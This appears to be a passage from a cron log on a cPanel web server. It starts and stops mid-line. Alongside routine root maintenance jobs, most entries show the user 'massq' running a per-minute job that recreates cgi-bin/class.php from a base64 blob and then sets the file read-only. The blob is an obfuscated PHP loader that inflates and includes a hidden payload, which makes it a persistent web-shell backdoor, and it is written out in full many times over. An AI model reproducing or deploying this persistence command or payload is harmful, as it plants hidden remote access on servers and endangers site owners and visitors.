ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:35:01 server CROND[19744]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 22:35:01 server CROND[19746]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:35:01 server CROND[19745]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 22:35:01 server CROND[19748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:35:01 server CROND[19751]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:36:01 server CROND[19862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:37:01 server CROND[19934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:38:01 server CROND[19999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:39:01 server CROND[20060]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 22:39:01 server CROND[20061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:40:01 server CROND[20221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 22:40:01 server CROND[20222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:40:01 server CROND[20223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:40:01 server CROND[20224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:41:01 server CROND[20337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:42:01 server CROND[20397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:42:01 server CROND[20398]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 22:43:01 server CROND[20472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:44:01 server CROND[20556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:45:01 server CROND[20728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:45:01 server CROND[20729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:45:01 server CROND[20730]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:46:01 server CROND[20841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:47:01 server CROND[20904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:48:01 server CROND[20972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRk